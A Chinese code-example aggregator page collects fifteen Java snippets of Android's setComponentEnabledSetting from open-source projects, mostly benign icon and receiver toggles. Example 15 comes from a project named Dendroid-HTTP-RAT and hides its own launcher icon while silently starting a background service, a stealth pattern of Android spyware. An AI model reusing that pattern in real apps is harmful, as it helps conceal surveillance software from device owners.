當前位置: 首頁>>代碼示例>>Java>>正文


Java PackageManager.setComponentEnabledSetting方法代碼示例

本文整理匯總了Java中android.content.pm.PackageManager.setComponentEnabledSetting方法的典型用法代碼示例。如果您正苦於以下問題:Java PackageManager.setComponentEnabledSetting方法的具體用法?Java PackageManager.setComponentEnabledSetting怎麽用?Java PackageManager.setComponentEnabledSetting使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在android.content.pm.PackageManager的用法示例。


在下文中一共展示了PackageManager.setComponentEnabledSetting方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Java代碼示例。

示例1: handleLocalApp

import android.content.pm.PackageManager; //導入方法依賴的package包/類
private void handleLocalApp() {
    final ComponentName component = new ComponentName(activity, SendCoinsActivity.class);
    final PackageManager pm = activity.getPackageManager();
    final Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(determineBitcoinRequestStr(false)));

    try {
        // launch intent chooser with ourselves excluded
        pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP);
        startActivity(intent);
    } catch (final ActivityNotFoundException x) {
        new Toast(activity).longToast(R.string.request_coins_no_local_app_msg);
    } finally {
        pm.setComponentEnabledSetting(component, PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP);
    }

    activity.finish();
}
 
開發者ID:guodroid,項目名稱:okwallet,代碼行數:20,代碼來源:RequestCoinsFragment.java

示例2: onPreferenceChange

import android.content.pm.PackageManager; //導入方法依賴的package包/類
@Override
public boolean onPreferenceChange(Preference preference, Object newValue) {
    try {
        ComponentName targetActivity = new ComponentName(packageName, ActivityName);
        PackageManager p = getPackageManager();
        if ((boolean) newValue) {
            p.setComponentEnabledSetting(targetActivity, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
        } else {
            p.setComponentEnabledSetting(targetActivity, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
        }
    }catch (Exception e){
        Toast.makeText(SettingsActivity.this,R.string.msg_disable_error,Toast.LENGTH_SHORT).show();
        return false;
    }
    return true;
}
 
開發者ID:CwithW,項目名稱:PretendSharing,代碼行數:17,代碼來源:SettingsActivity.java

示例3: changeDefaultActivityToSignIn

import android.content.pm.PackageManager; //導入方法依賴的package包/類
public static void changeDefaultActivityToSignIn(Context context, boolean isSign) {
    ComponentName signActivity = new ComponentName(context, SignInActivity.class);
    ComponentName homeActivity = new ComponentName(context, HomeActivity.class);
    PackageManager packageManager = context.getPackageManager();

    if (isSign) {
        packageManager.setComponentEnabledSetting(signActivity,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
        packageManager.setComponentEnabledSetting(homeActivity,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
    } else {
        packageManager.setComponentEnabledSetting(signActivity,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
        packageManager.setComponentEnabledSetting(homeActivity,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
    }
}
 
開發者ID:mecid,項目名稱:robird-reborn,代碼行數:18,代碼來源:NavigationUtils.java

示例4: setComponentEnabled

import android.content.pm.PackageManager; //導入方法依賴的package包/類
/**
     * 切換桌麵圖標
     *
     * @param componentDisabledName
     * @param componentEnabledName
     */
    private void setComponentEnabled(ComponentName componentDisabledName
            , ComponentName componentEnabledName) {
        PackageManager pm = getPackageManager();
        pm.setComponentEnabledSetting(componentDisabledName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP);
        pm.setComponentEnabledSetting(componentEnabledName, PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP);
        snackBarShow(mCoordinatorLayout, getString(R.string.launcher_icon_had_change));
        // Find launcher and kill it (restart launcher)
        // MIUI8 Android6.0.6:android.content.pm.PackageManager$NameNotFoundException
//        ActivityManager am = (ActivityManager) getSystemService(Activity.ACTIVITY_SERVICE);
//        Intent i = new Intent(Intent.ACTION_MAIN);
//        i.addCategory(Intent.CATEGORY_HOME);
//        i.addCategory(Intent.CATEGORY_DEFAULT);
//        List<ResolveInfo> resolves = pm.queryIntentActivities(i, 0);
//        for (ResolveInfo res : resolves) {
//            if (res.activityInfo != null) {
//                am.killBackgroundProcesses(res.activityInfo.packageName);
//            }
//        }
    }
 
開發者ID:XYScience,項目名稱:StopApp,代碼行數:28,代碼來源:SettingActivity.java

示例5: enableComponent

import android.content.pm.PackageManager; //導入方法依賴的package包/類
/**
 * Enables component for provided class.
 *
 * @param context Current Context.
 * @param packageManager Current PackageManager.
 * @param clazz Class for enable.
 * @return True if component was enabled.
 */
public static boolean enableComponent(Context context, PackageManager packageManager,
    Class clazz) {
  if (clazz == null || context == null || packageManager == null) {
    return false;
  }

  try {
    packageManager.setComponentEnabledSetting(new ComponentName(context, clazz),
        PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
  } catch (Throwable t) {
    Log.w("Could not enable component " + clazz.getName());
    return false;
  }
  return true;
}
 
開發者ID:Leanplum,項目名稱:Leanplum-Android-SDK,代碼行數:24,代碼來源:LeanplumManifestHelper.java

示例6: hideLauncherIcon

import android.content.pm.PackageManager; //導入方法依賴的package包/類
private void hideLauncherIcon() {
    PackageManager p = getPackageManager();
    ComponentName componentName = new ComponentName(this, MainActivity.class);
    p.setComponentEnabledSetting(componentName,PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
 
開發者ID:blunden,項目名稱:DoNotDisturbSync,代碼行數:6,代碼來源:MainActivity.java

示例7: setAlarm

import android.content.pm.PackageManager; //導入方法依賴的package包/類
public void setAlarm(Context context, Task task) {
    boolean isActive = !task.isDone() &&
                        task.getAlarmAdvanceTime() != 0 &&
                        new Date(task.getDate().getTime() + task.getAlarmAdvanceTime()).after(new Date());
    if (isActive) {
        AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);

        Intent intent = new Intent(context, AlarmReceiver.class);
        intent.putExtra(TITLE, task.getTitle());
        intent.putExtra(ID, task.getId().intValue());
        intent.putExtra(ALARM_ADVANCE_TIME, task.getAlarmAdvanceTime());
        intent.putExtra(DATE, task.getDate().getTime());
        intent.putExtra(PRIORITY, task.getPriorityLevel());

        Log.d(this.getClass().getName(), "Init " + task.getAlarmAdvanceTime() + "ms alarm for " + task);

        PendingIntent alarmIntent = PendingIntent.getBroadcast(context, task.getId().intValue(), intent, PendingIntent.FLAG_UPDATE_CURRENT);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, task.getDate().getTime() - task.getAlarmAdvanceTime(), alarmIntent);
        } else {
            alarmManager.set(AlarmManager.RTC_WAKEUP, task.getDate().getTime() - task.getAlarmAdvanceTime(), alarmIntent);
        }

        intentMap.put(task.getId().intValue(), alarmIntent);

        ComponentName receiver = new ComponentName(context, AlarmReceiver.class);
        PackageManager pm = context.getPackageManager();

        pm.setComponentEnabledSetting(receiver,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP);

    }
}
 
開發者ID:seeing-eye,項目名稱:UnforgetIt,代碼行數:35,代碼來源:AlarmReceiver.java

示例8: reset

import android.content.pm.PackageManager; //導入方法依賴的package包/類
@Override
public void reset() {
    if (isForeground)
        stopForegroundDispatch();
    else {
        PackageManager packageManager = activity.getApplicationContext().getPackageManager();
        packageManager.setComponentEnabledSetting(new ComponentName("com.integreight.onesheeld", "com.integreight.onesheeld.NFCUtils-alias"), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
    }
}
 
開發者ID:Dnet3,項目名稱:CustomAndroidOneSheeld,代碼行數:10,代碼來源:NfcShield.java

示例9: onCreate

import android.content.pm.PackageManager; //導入方法依賴的package包/類
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_zebpay_unblock);
    Toast.makeText(this, "Zebpay unblock xposed module active. Launcher icon will be removed.",
            Toast.LENGTH_LONG).show();
    PackageManager p = getPackageManager();
    p.setComponentEnabledSetting(getComponentName(), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
    // activity which is first time open in manifiest file which is declare as
    // <category android:name="android.intent.category.LAUNCHER" />
    finish();
}
 
開發者ID:theapu,項目名稱:Zebpay-Unblock,代碼行數:13,代碼來源:ZebpayUnblockActivity.java

示例10: pauseMainActivityNfc

import android.content.pm.PackageManager; //導入方法依賴的package包/類
private void pauseMainActivityNfc() {
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.GINGERBREAD_MR1) {
        if (((OneSheeldApplication) getApplication()).getRunningShields().get(UIShield.NFC_SHIELD.name()) != null) {
            PackageManager packageManager = getApplicationContext().getPackageManager();
            packageManager.setComponentEnabledSetting(new ComponentName("com.integreight.onesheeld", "com.integreight.onesheeld.NFCUtils-alias"), PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
            ((NfcShield) ((OneSheeldApplication) getApplication()).getRunningShields().get(UIShield.NFC_SHIELD.name())).stopForegroundDispatch();
        }
    }
}
 
開發者ID:Dnet3,項目名稱:CustomAndroidOneSheeld,代碼行數:10,代碼來源:MainActivity.java

示例11: setComponentState

import android.content.pm.PackageManager; //導入方法依賴的package包/類
public static void setComponentState(PackageManager pm, ComponentName componentName, boolean enable) {
    final int oldState = pm.getComponentEnabledSetting(componentName);
    final int newState = enable ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED
            : PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
    if (newState != oldState) {
        final int flags = PackageManager.DONT_KILL_APP;
        pm.setComponentEnabledSetting(componentName, newState, flags);
    }
}
 
開發者ID:RikkaW,項目名稱:Bridge,代碼行數:10,代碼來源:PackageManagerUtils.java

示例12: changeDefaultLauncher

import android.content.pm.PackageManager; //導入方法依賴的package包/類
private static void changeDefaultLauncher(Context context){
    PackageManager packageManager = context.getPackageManager();
    ComponentName componentName = new ComponentName(context, FakeActivity.class);
    packageManager.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);

    Intent selector = new Intent(Intent.ACTION_MAIN);
    selector.addCategory(Intent.CATEGORY_HOME);
    selector.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    context.startActivity(selector);

    packageManager.setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DEFAULT, PackageManager.DONT_KILL_APP);
}
 
開發者ID:michelelacorte,項目名稱:FlickLauncher,代碼行數:13,代碼來源:Utilities.java

示例13: enableBootReceiver

import android.content.pm.PackageManager; //導入方法依賴的package包/類
private void enableBootReceiver(boolean b) {
    ComponentName receiver = new ComponentName(this, BootReceiver.class);
    PackageManager pm = this.getPackageManager();

    if(b){
        pm.setComponentEnabledSetting(receiver,
                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                PackageManager.DONT_KILL_APP);
    }
    else{
        pm.setComponentEnabledSetting(receiver,
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                PackageManager.DONT_KILL_APP);
    }
}
 
開發者ID:jcolladosp,項目名稱:ePills,代碼行數:16,代碼來源:ClockActivity.java

示例14: setupStartActivity

import android.content.pm.PackageManager; //導入方法依賴的package包/類
public static void setupStartActivity(Context context) {
    PackageManager pm = context.getPackageManager();
    if (Utils.hideStartActivity()) {
        pm.setComponentEnabledSetting(new ComponentName(context, StartActivity.class),
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
        pm.setComponentEnabledSetting(new ComponentName(context, StartActivityMaterial.class),
                PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
    } else {
        setStartActivity(Prefs.getBoolean("materialicon", false, context), context);
    }
}
 
開發者ID:AyushR1,項目名稱:KernelAdiutor-Mod,代碼行數:12,代碼來源:Utils.java

示例15: onCreate

import android.content.pm.PackageManager; //導入方法依賴的package包/類
@Override
public void onCreate(Bundle savedInstanceState) { 
    super.onCreate(savedInstanceState);
    getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE); 
    getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
    PackageManager i = getApplicationContext().getPackageManager();
    i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

	if(isMyServiceRunning()==false) 
	{		
		startService(new Intent(getApplicationContext(), MyService.class));
		Log.i("com.connect","startService");
	}
}
 
開發者ID:mwsrc,項目名稱:Dendroid-HTTP-RAT,代碼行數:15,代碼來源:Drodian.java


注:本文中的android.content.pm.PackageManager.setComponentEnabledSetting方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。